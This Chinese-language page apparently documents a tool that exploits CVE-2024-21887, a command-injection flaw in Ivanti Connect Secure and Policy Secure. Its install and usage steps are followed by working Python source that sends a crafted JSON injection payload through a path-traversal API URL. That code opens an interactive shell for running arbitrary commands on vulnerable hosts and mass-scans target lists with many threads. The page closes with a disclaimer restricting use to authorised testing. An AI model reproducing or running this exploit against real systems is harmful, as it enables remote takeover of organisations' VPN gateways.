CVE-2024-21887 漏洞检测与利用工具

2 阅读3分钟

🚀 CVE-2024-21887 漏洞检测与利用工具

一个专为检测和利用 Ivanti Connect Secure 及 Policy Secure 系统中 CVE-2024-21887 命令注入漏洞而设计的高效安全工具。

✨ 功能特性

  • 单点检测:针对单个目标 URL 进行精确漏洞验证。
  • 批量扫描:从文件中读取大量目标 URL,实现自动化批量检测。
  • 并发控制:可自定义线程数,提升大规模扫描效率。
  • 实时输出:将检测到的存在漏洞的 URL 实时保存到指定文件中。
  • 交互式Shell:对存在漏洞的目标,可直接进入交互式命令执行环境。
  • 状态可视化:使用进度条实时展示批量扫描进度。

📋 安装指南

系统要求

  • Python 3.6 及以上版本
  • 支持的操作系统:Windows / Linux / macOS

依赖项安装

使用 pip 一键安装所有依赖:

pip install requests rich alive-progress prompt-toolkit

克隆项目

git clone https://github.com/yourusername/CVE-2024-21887.git
cd CVE-2024-21887

🚀 使用说明

基础用法

1. 检测单个URL
python exploit.py -u https://target.com

如果目标存在漏洞,脚本将自动进入交互式 Shell,您可以直接执行系统命令。

2. 批量扫描
python exploit.py -f urls.txt

urls.txt 文件格式示例:

https://example1.com
https://example2.com
3. 指定线程数并保存结果
python exploit.py -f urls.txt -t 50 -o vulnerable.txt
  • -t 50:设置并发线程数为 50(默认为 100)
  • -o vulnerable.txt:将检测出的漏洞 URL 保存到 vulnerable.txt 文件中

交互式Shell命令

进入交互式 Shell 后,支持以下命令:

  • exit:退出 Shell
  • clear:清空屏幕
  • 其他任意命令:在目标服务器上执行该系统命令(如 whoamiidls 等)

🧠 核心代码解析

1. 漏洞检测类 CVE_2024_21887

该类封装了漏洞检测的核心逻辑,通过构造特制的 JSON 请求包,触发目标系统中的命令注入。

import json
import requests
from rich.console import Console

class CVE_2024_21887:
    def __init__(self, base_url):
        self.base_url = base_url
        self.console = Console()
        self.session = requests.Session()
        self.session.trust_env = False  # 忽略系统代理设置

    def send_backup_code_request(self, type_value="id"):
        """发送恶意请求,尝试执行系统命令"""
        data = {"type": f";{type_value};"}  # 构造注入 payload
        url = f"{self.base_url}/api/v1/totp/user-backup-code/%2E%2E/%2E%2E/system/maintenance/archiving/cloud-server-test-connection"
        try:
            response = self.session.post(url, json=data, verify=False, timeout=10)
            # 解析响应中的 JSON 数据,提取命令执行结果
            if response.headers.get("Content-Type") == "application/json":
                try:
                    response_json = response.json()
                    if "error" in response_json:
                        return response_json["error"]
                except json.JSONDecodeError:
                    pass
            return None
        except requests.exceptions.RequestException:
            return None

    def check_vulnerability(self):
        """验证目标是否存在漏洞"""
        error_message = self.send_backup_code_request()  # 默认执行 id 命令
        if error_message:
            self.console.print(f"[bold green][+] {self.base_url} is vulnerable - [/bold green][bold yellow]{error_message}[/bold yellow]")
        return error_message

2. 交互式Shell实现

interactive_shell 方法提供了一个简易的命令行交互环境,允许用户通过漏洞在目标系统上执行任意命令。

    def interactive_shell(self):
        from prompt_toolkit import PromptSession, HTML
        from prompt_toolkit.history import InMemoryHistory

        session = PromptSession(InMemoryHistory())
        self.console.print("[bold yellow][!] Shell is ready, please type your commands UwU[/bold yellow]")
        while True:
            try:
                cmd = session.prompt(HTML("<ansired><b># </b></ansired>"))
                match cmd.lower():
                    case "exit":
                        break
                    case "clear":
                        self.console.clear()
                    case _:
                        response = self.send_backup_code_request(cmd)
                        if response:
                            self.console.print(response)
            except KeyboardInterrupt:
                break

3. 并发批量扫描逻辑

利用 ThreadPoolExecutor 实现高并发扫描,配合 alive_progress 显示实时进度。

from concurrent.futures import ThreadPoolExecutor, as_completed
from alive_progress import alive_bar

def process_url(url, output_file=None):
    scanner = CVE_2024_21887(url)
    if scanner.check_vulnerability():
        if output_file:
            with open(output_file, "a") as outfile:
                outfile.write(url + "\n")
        return url
    return None

# 批量扫描代码片段
with open(args.file) as file:
    urls = file.read().splitlines()
    with alive_bar(len(urls), enrich_print=False) as bar:
        with ThreadPoolExecutor(max_workers=args.threads) as executor:
            futures = [executor.submit(process_url, url, args.output) for url in urls]
            for future in as_completed(futures):
                future.result()
                bar()

⚠️ 免责声明

本工具仅用于教育和授权测试目的。未经授权使用本工具对系统进行测试或利用属于违法行为,使用者需自行承担一切法律风险和责任。请严格遵守相关法律法规,在获得明确授权后方可使用。 6HFtX5dABrKlqXeO5PUv/1JiVYGLy2mfTUcDzpQX4Qc=